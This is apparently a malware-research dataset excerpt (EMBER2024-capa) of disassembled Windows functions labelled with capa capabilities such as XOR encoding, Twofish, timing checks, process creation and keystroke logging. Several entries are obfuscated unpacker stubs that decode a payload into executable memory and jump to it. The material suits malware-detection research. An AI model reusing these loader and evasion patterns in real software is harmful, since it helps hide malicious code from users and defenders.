joyce8/EMBER2024-capa huggingface dataset:
Function at 0x557870
Capabilities:
Encode data using xor
Encrypt data using twofish

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
push edi
mov eax, dword [ebp + 8]
mov ecx, dword [eax - 0x10]
mov edx, 0x596960
lea eax, [ebp - 0x100]
call fcn.005576d8
mov eax, dword [ebp + 8]
mov edx, dword [eax - 0x18]
and edx, 0xff
mov eax, dword [ebp + 8]
mov ecx, dword [eax - 0x14]
and ecx, 0xff
xor eax, eax
lea ebx, [ebp - 0x100]
mov esi, eax
add esi, esi
mov edi, dword [ebp + 8]
mov edi, dword [edi - 0x20]
lea esi, [edi + esi*4]
push esi
movzx esi, byte [ebx]
movzx esi, byte [esi + 0x596860]
xor esi, ecx
movzx esi, byte [esi + 0x596860]
xor esi, edx
mov esi, dword [esi*4 + 0x596a60]
pop edi
mov dword [edi], esi
inc eax
inc ebx
cmp eax, 0x100
jne 0x5578b2
mov eax, dword [ebp + 8]
mov ecx, dword [eax - 0x10]
shr ecx, 8
mov edx, 0x596960
lea eax, [ebp - 0x100]
call fcn.005576d8
mov eax, dword [ebp + 8]
mov edx, dword [eax - 0x18]
shr edx, 8
and edx, 0xff
mov eax, dword [ebp + 8]
mov ecx, dword [eax - 0x14]
shr ecx, 8
and ecx, 0xff
xor eax, eax
lea ebx, [ebp - 0x100]
mov esi, eax
add esi, esi
mov edi, dword [ebp + 8]
mov edi, dword [edi - 0x20]
lea esi, [edi + esi*4 + 4]
push esi
movzx esi, byte [ebx]
movzx esi, byte [esi + 0x596960]
xor esi, ecx
movzx esi, byte [esi + 0x596860]
xor esi, edx
mov esi, dword [esi*4 + 0x596e60]
pop edi
mov dword [edi], esi
inc eax
inc ebx
cmp eax, 0x100
jne 0x557927
mov eax, dword [ebp + 8]
mov ecx, dword [eax - 0x10]
shr ecx, 0x10
mov edx, 0x596860
lea eax, [ebp - 0x100]
call fcn.005576d8
mov eax, dword [ebp + 8]
mov edx, dword [eax - 0x18]
shr edx, 0x10
and edx, 0xff
mov eax, dword [ebp + 8]
mov ecx, dword [eax - 0x14]
shr ecx, 0x10
and ecx, 0xff
xor eax, eax
lea ebx, [ebp - 0x100]
mov esi, eax
add esi, esi
mov edi, dword [ebp + 8]
mov edi, dword [edi - 0x20]
lea esi, [edi + esi*4 + 0x800]
push esi
movzx esi, byte [ebx]
movzx esi, byte [esi + 0x596860]
xor esi, ecx
movzx esi, byte [esi + 0x596960]
xor esi, edx
mov esi, dword [esi*4 + 0x597260]
pop edi
mov dword [edi], esi
inc eax
inc ebx
cmp eax, 0x100
jne 0x55799d
mov eax, dword [ebp + 8]
mov ecx, dword [eax - 0x10]
shr ecx, 0x18
mov edx, 0x596860
lea eax, [ebp - 0x100]
call fcn.005576d8
mov eax, dword [ebp + 8]
mov edx, dword [eax - 0x18]
shr edx, 0x18
mov eax, dword [ebp + 8]
mov ecx, dword [eax - 0x14]
shr ecx, 0x18
xor eax, eax
lea ebx, [ebp - 0x100]
mov esi, eax
add esi, esi
mov edi, dword [ebp + 8]
mov edi, dword [edi - 0x20]
lea esi, [edi + esi*4 + 0x804]
push esi
movzx esi, byte [ebx]
movzx esi, byte [esi + 0x596960]
xor esi, ecx
movzx esi, byte [esi + 0x596960]
xor esi, edx
mov esi, dword [esi*4 + str.9g]
pop edi
mov dword [edi], esi
inc eax
inc ebx
cmp eax, 0x100
jne 0x557a0a
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x562a00
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x562b78
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebx + 0x10], 0
jne 0x562b62
mov byte [ebx + 0xc], cl
movzx eax, byte [ebp + 8]
mov byte [ebx + 0xd], al
sub cl, 1
jb 0x562a44
je 0x562aed
jmp 0x562b4a
mov eax, esi
call fcn.0040d6cc
test al, al
jne 0x562a74
push 0
lea edx, [ebp - 4]
mov eax, dword [0x599fa8]
call fcn.00408edc
mov eax, dword [ebp - 4]
push eax
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0x11
lea edx, [ebp - 0xc]
xor ecx, ecx
pop eax
call fcn.00538b14
mov edx, esi
mov eax, dword [ebx]
call fcn.00562ff0
test al, al
jne 0x562a99
push 0
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0x11
lea edx, [ebp - 0xc]
xor ecx, ecx
mov eax, 0x562b94
call fcn.00538b14
mov edx, esi
mov eax, dword [ebx]
call fcn.00563184
mov eax, esi
call fcn.004064a8
push eax
call sub.kernel32.dll_GetFileAttributesW
test eax, 1
seta al
mov byte [ebx + 0x14], al
cmp byte [ebx + 0x14], 0
je 0x562ac5
xor edi, edi
jmp 0x562ac9
mov di, 2
cmp byte [ebp + 8], 0
je 0x562ad5
or di, 0x10
jmp 0x562ad9
or di, 0x40
push edi
mov ecx, esi
mov dl, 1
mov eax, dword [0x559278]
call fcn.005624a8
mov dword [ebx + 0x10], eax
jmp 0x562b4a
mov eax, esi
call fcn.0055b010
test al, al
jne 0x562b10
push 0
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0x11
lea edx, [ebp - 0xc]
xor ecx, ecx
mov eax, 0x562bd0
call fcn.00538b14
mov eax, esi
call fcn.0055aea0
mov edi, eax
mov edx, edi
mov eax, dword [ebx]
call fcn.00562f38
test al, al
jne 0x562b3e
push 0
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0x11
lea edx, [ebp - 0xc]
mov eax, 0x562b94
xor ecx, ecx
call fcn.00538b14
mov edx, edi
mov eax, dword [ebx]
call fcn.00563050
mov dword [ebx + 0x10], edi
lea eax, [ebx + 8]
mov edx, esi
call fcn.0040641c
mov eax, ebx
call fcn.00562c30
mov eax, ebx
call fcn.00562cc8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x562b7f
lea eax, [ebp - 4]
call fcn.0040640c
ret
Function at 0x56518c
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x30]
call fcn.00562d98
xor eax, eax
push ebp
push 0x56526c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 4]
call fcn.00563794
mov ebx, eax
mov eax, dword [ebp - 4]
mov dword [eax + 0x10], ebx
inc ebx
jne 0x5651e9
push 0
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0xc], eax
mov byte [ebp - 8], 0x11
lea edx, [ebp - 0xc]
xor ecx, ecx
mov eax, 0x565284
call fcn.00538b14
mov eax, dword [ebp - 4]
lea ecx, [eax + 0x28]
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x10]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x30]
call fcn.00562ee0
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x1079]
push ebx
mov eax, dword [ebp - 4]
add eax, 0x2dd8
mov ecx, 1
mov edx, dword [0x559374]
call fcn.00408090
add esp, 4
mov eax, dword [ebp - 4]
call fcn.005637fc
mov eax, dword [ebp - 4]
call fcn.005638a4
mov eax, dword [ebp - 4]
call fcn.00563b30
mov eax, dword [ebp - 4]
call fcn.00563b98
mov eax, dword [ebp - 4]
call fcn.00563c08
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x565273
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x30]
call fcn.00562e28
ret
Function at 0x56c34c
Capabilities:
Hash data using sha1

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.0056c324
mov dword [ebx + 0xc], 0x67452301
mov dword [ebx + 0x10], 0xefcdab89
mov dword [ebx + 0x14], 0x98badcfe
mov dword [ebx + 0x18], 0x10325476
mov dword [ebx + 0x1c], 0xc3d2e1f0
pop ebx
ret

Function at 0x56d614
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
mov ebx, eax
test ebx, ebx
jbe 0x56d63a
call sub.kernel32.dll_GetTickCount_1
mov esi, eax
mov eax, dword [0x599e34]
mov eax, dword [eax]
call fcn.0049f490
call sub.kernel32.dll_GetTickCount_1
sub eax, esi
cmp ebx, eax
ja 0x56d623
pop esi
pop ebx
ret

Function at 0x58242c
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff4
mov ecx, dword [eax]
mov dword [edx], ecx
lea ecx, [eax + 4]
mov ecx, dword [ecx]
mov dword [edx + 4], ecx
lea ecx, [eax + 8]
mov ecx, dword [ecx]
mov dword [edx + 8], ecx
add eax, 0xc
mov eax, dword [eax]
mov dword [edx + 0xc], eax
xor eax, eax
mov dword [esp], 1
mov ecx, dword [edx + eax*4 + 0xc]
mov ebx, ecx
shl ebx, 0x18
shr ecx, 8
or ebx, ecx
mov ecx, ebx
movzx ebx, cl
mov ebx, dword [ebx*4 + str.cwko0]
mov dword [esp + 4], ebx
mov ebx, ecx
shr ebx, 8
movzx ebx, bl
mov esi, dword [ebx*4 + str.cwko0]
mov ebx, ecx
shr ebx, 0x10
movzx ebx, bl
mov ebx, dword [ebx*4 + str.cwko0]
mov dword [esp + 8], ebx
shr ecx, 0x18
movzx ecx, cl
mov ecx, dword [ecx*4 + str.cwko0]
mov ebx, esi
shl ebx, 8
shr esi, 0x18
or ebx, esi
xor ebx, dword [esp + 4]
mov esi, dword [esp + 8]
shl esi, 0x10
mov edi, dword [esp + 8]
shr edi, 0x10
or esi, edi
xor ebx, esi
mov esi, ecx
shl esi, 0x18
shr ecx, 8
or esi, ecx
xor ebx, esi
xor ebx, dword [edx + eax*4]
mov ecx, dword [esp]
xor ebx, dword [ecx*4 + 0x598b8c]
mov dword [edx + eax*4 + 0x10], ebx
inc dword [esp]
mov ecx, dword [edx + eax*4 + 4]
xor ecx, dword [edx + eax*4 + 0x10]
mov dword [edx + eax*4 + 0x14], ecx
mov ebx, dword [edx + eax*4 + 8]
xor ebx, ecx
mov dword [edx + eax*4 + 0x18], ebx
mov ecx, dword [edx + eax*4 + 0xc]
xor ecx, ebx
mov dword [edx + eax*4 + 0x1c], ecx
add eax, 4
cmp eax, 0x28
jl 0x582457
add esp, 0xc
pop edi
pop esi
pop ebx
ret
Function at 0x582518
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff4
mov ecx, dword [eax]
mov dword [edx], ecx
lea ecx, [eax + 4]
mov ecx, dword [ecx]
mov dword [edx + 4], ecx
lea ecx, [eax + 8]
mov ecx, dword [ecx]
mov dword [edx + 8], ecx
lea ecx, [eax + 0xc]
mov ecx, dword [ecx]
mov dword [edx + 0xc], ecx
lea ecx, [eax + 0x10]
mov ecx, dword [ecx]
mov dword [edx + 0x10], ecx
add eax, 0x14
mov eax, dword [eax]
mov dword [edx + 0x14], eax
xor eax, eax
mov dword [esp], 1
mov ecx, dword [edx + eax*4 + 0x14]
mov ebx, ecx
shl ebx, 0x18
shr ecx, 8
or ebx, ecx
mov ecx, ebx
movzx ebx, cl
mov ebx, dword [ebx*4 + str.cwko0]
mov dword [esp + 4], ebx
mov ebx, ecx
shr ebx, 8
movzx ebx, bl
mov esi, dword [ebx*4 + str.cwko0]
mov ebx, ecx
shr ebx, 0x10
movzx ebx, bl
mov ebx, dword [ebx*4 + str.cwko0]
mov dword [esp + 8], ebx
shr ecx, 0x18
movzx ecx, cl
mov ecx, dword [ecx*4 + str.cwko0]
mov ebx, esi
shl ebx, 8
shr esi, 0x18
or ebx, esi
xor ebx, dword [esp + 4]
mov esi, dword [esp + 8]
shl esi, 0x10
mov edi, dword [esp + 8]
shr edi, 0x10
or esi, edi
xor ebx, esi
mov esi, ecx
shl esi, 0x18
shr ecx, 8
or esi, ecx
xor ebx, esi
xor ebx, dword [edx + eax*4]
mov ecx, dword [esp]
xor ebx, dword [ecx*4 + 0x598b8c]
mov dword [edx + eax*4 + 0x18], ebx
inc dword [esp]
mov ecx, dword [edx + eax*4 + 4]
xor ecx, dword [edx + eax*4 + 0x18]
mov dword [edx + eax*4 + 0x1c], ecx
mov ebx, dword [edx + eax*4 + 8]
xor ebx, ecx
mov dword [edx + eax*4 + 0x20], ebx
mov ecx, dword [edx + eax*4 + 0xc]
xor ecx, ebx
mov dword [edx + eax*4 + 0x24], ecx
mov ebx, dword [edx + eax*4 + 0x10]
xor ebx, ecx
mov dword [edx + eax*4 + 0x28], ebx
mov ecx, dword [edx + eax*4 + 0x14]
xor ecx, ebx
mov dword [edx + eax*4 + 0x2c], ecx
add eax, 6
cmp eax, 0x2e
jl 0x582553
add esp, 0xc
pop edi
pop esi
pop ebx
ret
Function at 0x582628
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff4
mov ecx, dword [eax]
mov dword [edx], ecx
lea ecx, [eax + 4]
mov ecx, dword [ecx]
mov dword [edx + 4], ecx
lea ecx, [eax + 8]
mov ecx, dword [ecx]
mov dword [edx + 8], ecx
lea ecx, [eax + 0xc]
mov ecx, dword [ecx]
mov dword [edx + 0xc], ecx
lea ecx, [eax + 0x10]
mov ecx, dword [ecx]
mov dword [edx + 0x10], ecx
lea ecx, [eax + 0x14]
mov ecx, dword [ecx]
mov dword [edx + 0x14], ecx
lea ecx, [eax + 0x18]
mov ecx, dword [ecx]
mov dword [edx + 0x18], ecx
add eax, 0x1c
mov eax, dword [eax]
mov dword [edx + 0x1c], eax
xor eax, eax
mov dword [esp], 1
mov ecx, dword [edx + eax*4 + 0x1c]
mov edi, ecx
shl edi, 0x18
shr ecx, 8
or edi, ecx
mov ecx, edi
movzx ecx, cl
mov ecx, dword [ecx*4 + str.cwko0]
mov dword [esp + 4], ecx
mov ecx, edi
shr ecx, 8
movzx ecx, cl
mov ecx, dword [ecx*4 + str.cwko0]
mov ebx, edi
shr ebx, 0x10
movzx ebx, bl
mov esi, dword [ebx*4 + str.cwko0]
mov ebx, edi
shr ebx, 0x18
movzx ebx, bl
mov ebx, dword [ebx*4 + str.cwko0]
mov dword [esp + 8], ebx
mov ebx, ecx
shl ebx, 8
shr ecx, 0x18
or ebx, ecx
xor ebx, dword [esp + 4]
mov ecx, esi
shl ecx, 0x10
shr esi, 0x10
or ecx, esi
xor ebx, ecx
mov ecx, dword [esp + 8]
shl ecx, 0x18
mov esi, dword [esp + 8]
shr esi, 8
or ecx, esi
xor ebx, ecx
xor ebx, dword [edx + eax*4]
mov ecx, dword [esp]
xor ebx, dword [ecx*4 + 0x598b8c]
mov dword [edx + eax*4 + 0x20], ebx
inc dword [esp]
mov ecx, dword [edx + eax*4 + 4]
xor ecx, dword [edx + eax*4 + 0x20]
mov dword [edx + eax*4 + 0x24], ecx
mov ebx, dword [edx + eax*4 + 8]
xor ebx, ecx
mov dword [edx + eax*4 + 0x28], ebx
mov edi, dword [edx + eax*4 + 0xc]
xor edi, ebx
mov dword [edx + eax*4 + 0x2c], edi
movzx ecx, byte [edx + eax*4 + 0x2c]
mov ecx, dword [ecx*4 + str.cwko0]
mov dword [esp + 4], ecx
mov ecx, edi
shr ecx, 8
movzx ecx, cl
mov ecx, dword [ecx*4 + str.cwko0]
mov ebx, edi
shr ebx, 0x10
movzx ebx, bl
mov esi, dword [ebx*4 + str.cwko0]
mov ebx, edi
shr ebx, 0x18
movzx ebx, bl
mov ebx, dword [ebx*4 + str.cwko0]
mov dword [esp + 8], ebx
mov ebx, ecx
shl ebx, 8
shr ecx, 0x18
or ebx, ecx
xor ebx, dword [esp + 4]
mov ecx, esi
shl ecx, 0x10
shr esi, 0x10
or ecx, esi
xor ebx, ecx
mov ecx, dword [esp + 8]
shl ecx, 0x18
mov esi, dword [esp + 8]
shr esi, 8
or ecx, esi
xor ebx, ecx
xor ebx, dword [edx + eax*4 + 0x10]
mov dword [edx + eax*4 + 0x30], ebx
mov ecx, dword [edx + eax*4 + 0x14]
xor ecx, dword [edx + eax*4 + 0x30]
mov dword [edx + eax*4 + 0x34], ecx
mov ebx, dword [edx + eax*4 + 0x18]
xor ebx, ecx
mov dword [edx + eax*4 + 0x38], ebx
mov ecx, dword [edx + eax*4 + 0x1c]
xor ecx, ebx
mov dword [edx + eax*4 + 0x3c], ecx
add eax, 8
cmp eax, 0x34
jl 0x582673
add esp, 0xc
pop edi
pop esi
pop ebx
ret
Function at 0x58efb4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
xor eax, eax
mov dword [ebp - 0x14], eax
mov eax, 0x58d978
call fcn.004090cc
xor eax, eax
push ebp
push 0x58f06d
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x58f07c
push 0
push 0
call fcn.00409618
mov ebx, eax
push 0
push ebx
call sub.kernel32.dll_WaitForSingleObject
cmp eax, 0x102
je 0x58f057
mov eax, dword [0x599e34]
mov eax, dword [eax]
call fcn.0049f5ac
mov eax, dword [0x599e34]
mov eax, dword [eax]
mov edx, 0x58f09c
call fcn.0049f010
mov ecx, dword [0x599c44]
mov eax, dword [0x599e34]
mov eax, dword [eax]
mov edx, dword [0x58767c]
call fcn.0049f5c4
mov eax, dword [0x599e34]
mov eax, dword [eax]
call fcn.0049f714
mov eax, dword [0x599c30]
cmp byte [eax], 0
je 0x58f057
push 1
lea edx, [ebp - 0x14]
xor eax, eax
call fcn.00403464
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x58f074
lea eax, [ebp - 0x14]
call fcn.0040640c
ret
Function at 0x1000260a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x10002619
pop dword [ebp - 0x3c]
mov eax, 0x3d7a59cb
sub eax, 0x2d7a33b2
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x5152b3f5
sub dword [ebp - 0x4c], 0x3006eaa
mov dword [ebp - 0x48], 0x8f02e8e4
sub dword [ebp - 0x48], 0x5ccf9c9f
mov dword [ebp - 0x44], 0x77ac7815
add dword [ebp - 0x44], 0xd49fcc19
mov dword [ebp - 0x40], 0x2034d6b5
add dword [ebp - 0x40], 0xdfcb294b
lea eax, [ebp - 0x4c]
push eax
mov eax, 0x455a986b
sub eax, 0x3559e7d7
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0xbfa2cbbe
sub dword [ebp - 0x4c], 0x4b306268
mov dword [ebp - 0x48], 0xd87e109
sub dword [ebp - 0x48], 0xcc1b7f94
mov dword [ebp - 0x44], 0x5ac21ca8
sub dword [ebp - 0x44], 0xf752b03c
mov dword [ebp - 0x40], 0x561be5eb
add dword [ebp - 0x40], 0xa9e41a15
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0x2a38a77b
sub eax, 0x1a37f72f
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x34ef9
push 0
call eax
mov ecx, 0x29ed53e6
add ecx, 0xd612e988
mov edx, eax
mov edi, 0x10015000
add edi, dword [ebp - 0x3c]
mov esi, 0xdefef305
mov dword [ebp - 0x14], 0xcdd5198c
mov ebx, dword [edi]
xor dword [ebp - 0x2c], 0xdff90df5
sub ebx, esi
add dword [ebp - 0x2c], 0x91001a65
mov dword [edx], ebx
add edx, 0xdcac948b
sub edx, 0xdcac9487
add edi, 4
loop 0x1000272f
add eax, 0xe88b
mov ebx, eax
add eax, 0x5f148d62
sub eax, 0x5f148d5d
mov ecx, 0x10000000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x408d0d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42d030]
jne 0x408d17
repz ret
jmp fcn.0040cfa2

Function at 0x40a11d
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004055b8
and dword [ebp - 4], 0
cmp dword [0x431944], 0
mov ebx, eax
jne 0x40a1ce
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40a27f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40a27f
push eax
call fcn.00405546
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x431944], eax
call esi
push eax
call fcn.00405546
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x431948], eax
call esi
push eax
call fcn.00405546
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x43194c], eax
call esi
push eax
call fcn.00405546
pop ecx
mov dword [0x431954], eax
test eax, eax
je 0x40a1ce
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00405546
pop ecx
mov dword [0x431950], eax
mov eax, dword [0x431950]
cmp eax, ebx
je 0x40a226
cmp dword [0x431954], ebx
je 0x40a226
push eax
call fcn.004055c1
push dword [0x431954]
mov esi, eax
call fcn.004055c1
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40a226
test edi, edi
je 0x40a226
call esi
test eax, eax
je 0x40a21d
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40a21d
test byte [ebp - 0xc], 1
jne 0x40a226
or dword [ebp + 0x10], 0x200000
jmp 0x40a25f
mov eax, dword [0x431948]
cmp eax, ebx
je 0x40a25f
push eax
call fcn.004055c1
pop ecx
test eax, eax
je 0x40a25f
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40a25f
mov eax, dword [0x43194c]
cmp eax, ebx
je 0x40a25f
push eax
call fcn.004055c1
pop ecx
test eax, eax
je 0x40a25f
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x431944]
call fcn.004055c1
pop ecx
test eax, eax
je 0x40a27f
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40a281
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40d04b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x40d05a
pop dword [ebp - 0x14]
mov eax, 0x40d05a
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x1c3fecbe
add dword [ebp - 0x24], 0x3212588d
mov dword [ebp - 0x20], 0xd7d63e8d
sub dword [ebp - 0x20], 0xa5a2f248
mov dword [ebp - 0x1c], 0x3df1a698
add dword [ebp - 0x1c], 0xe5a9d96
mov dword [ebp - 0x18], 0xfc0d26f3
add dword [ebp - 0x18], 0x3f2d90d
lea eax, [ebp - 0x24]
push eax
mov eax, 0x1a070da5
add eax, 0xe639d357
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xf86b079d
sub dword [ebp - 0x24], 0x83f89e47
mov dword [ebp - 0x20], 0x88c9a9af
sub dword [ebp - 0x20], 0x475d483a
mov dword [ebp - 0x1c], 0x686b6adf
add dword [ebp - 0x1c], 0xfb04018d
mov dword [ebp - 0x18], 0x461ab715
add dword [ebp - 0x18], 0xb9e548eb
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x12346cf4
sub eax, 0x11f38c6c
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3490c
push 0
call eax
mov ecx, 0x3b72
xor edx, edx
add edx, eax
mov esi, 0x1ad00ef7
add esi, 0xe571e109
add esi, dword [ebp - 0x14]
mov ebx, 0x4488641c
sub ebx, 0x8d9327ae
mov edi, dword [esi]
sub dword [ebp - 8], ebx
add edi, ebx
xor dword [ebp - 0xc], esi
mov dword [edx], edi
add dword [ebp - 4], eax
add edx, 0xa1025777
add edx, 0x5efda88d
add esi, 4
loop 0x40d173
add eax, 0xe09b
mov ebx, eax
add eax, 0xbe260ab9
add eax, 0x41d9f54c
mov ecx, 0x400000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x40810a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x408119
pop dword [ebp - 0x14]
mov eax, 0x79de54d0
sub eax, 0x799dd3b7
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x3fe01
push 0
mov eax, 0xf2165790
sub eax, 0xf1d46580
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0xffc0f92b
sub ecx, 0xffc0aa1d
xor edx, edx
add edx, eax
mov esi, 0xe14b465
add esi, 0xf22ecd9b
add esi, dword [ebp - 0x14]
mov ebx, 0x63542481
xor dword [ebp - 8], 0x4578fe7c
mov edi, dword [esi]
sub dword [ebp - 0x10], 0xacb24c61
sub edi, ebx
add dword [ebp - 4], 0x6b80d315
mov dword [edx], edi
sub dword [ebp - 0x10], ecx
add edx, 0x8e12105c
add edx, 0x71edefa8
add esi, 0x1d5bbad2
sub esi, 0x1d5bbace
loop 0x408174
add eax, 0xc451b9d1
sub eax, 0xc4508ac6
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x1001adab
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x1001adba
pop dword [ebp - 0x1c]
mov eax, 0x1001adba
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x3304ae34
add dword [ebp - 0x2c], 0x1b4d9717
mov dword [ebp - 0x28], 0xfee8fba5
sub dword [ebp - 0x28], 0xccb5af60
mov dword [ebp - 0x24], 0x6aaf5c11
add dword [ebp - 0x24], 0xe19ce81d
mov dword [ebp - 0x20], 0x2b4a98c
add dword [ebp - 0x20], 0xfd4b5674
lea eax, [ebp - 0x2c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x33041a75
add dword [ebp - 0x2c], 0x416e4ee1
mov dword [ebp - 0x28], 0xd97e585f
add dword [ebp - 0x28], 0x67ee0916
mov dword [ebp - 0x24], 0x686c877e
add dword [ebp - 0x24], 0xfb02e4ee
mov dword [ebp - 0x20], 0xb15e7da6
sub dword [ebp - 0x20], 0xb15e7da6
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0xecbc57cd
add eax, 0x2347f8eb
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x4d125
push 0
call eax
mov ecx, 0xcdfb3807
add ecx, 0x32051aed
xor esi, esi
add esi, eax
mov edx, 0x94e08a16
add edx, 0x7b26c5ea
add edx, dword [ebp - 0x1c]
mov ebx, 0xd3a6e68b
mov edi, dword [edx]
sub dword [ebp - 8], eax
xor edi, ebx
add dword [ebp - 0x14], 0x7c1275c2
mov dword [esi], edi
add dword [ebp - 0x10], esi
add esi, 0x2034b28f
sub esi, 0x2034b28b
add edx, 0x7fb9cde7
sub edx, 0x7fb9cde3
loop 0x1001aece
add eax, 0xc5367cce
sub eax, 0xc5353e2b
mov ebx, eax
add eax, 0x619970c5
sub eax, 0x619970c0
mov ecx, 0x570a25f4
add ecx, 0xb8f5da0c
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret

Function at 0x1001bd34
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
xor ebx, ebx
push edi
mov edi, ecx
push 5
pop eax
push ebx
mov dword [edi], eax
mov dword [edi + 4], eax
mov word [edi + 8], 1
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], ebx
mov dword [edi + 0x18], ebx
mov dword [edi + 0x1c], ebx
push 0x5b
mov dword [edi + 0xc], 4
call esi
push ebx
push 0x10
mov byte [edi + 0x29], al
call esi
push ebx
push 0xa0
mov byte [edi + 0x26], al
call esi
push ebx
push 0xa1
mov byte [edi + 0x27], al
call esi
push ebx
push 0x11
mov byte [edi + 0x28], al
call esi
push ebx
push 0x12
mov byte [edi + 0x24], al
call esi
mov byte [edi + 0x25], al
pop edi
pop esi
pop ebx
ret
Function at 0x78aa2300
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x78aa230f
pop dword [ebp - 0x34]
mov eax, 0x78aa230f
sub dword [ebp - 0x34], eax
push 0x40
push 0x1000
push 0x54916
push 0
mov eax, 0xf290f00e
add eax, 0x8619217a
add eax, dword [ebp - 0x34]
call dword [eax]
mov ecx, 0xac08ee6f
add ecx, 0x53f75eb2
mov edi, eax
mov ebx, 0x2025777e
add ebx, 0x58907682
add ebx, dword [ebp - 0x34]
mov esi, 0xf0371358
add esi, 0x7d9411f5
sub dword [ebp - 0x14], 0x83a384a6
mov edx, dword [ebx]
add dword [ebp - 0x24], ebx
xor edx, esi
add dword [ebp - 0xc], 0x9e40d3c4
mov dword [edi], edx
sub dword [ebp - 4], edi
add edi, 0x823d601a
add edi, 0x7dc29fea
add ebx, 4
loop 0x78aa2369
add eax, 0x3eece378
add eax, 0xc11443df
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x78aa0000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret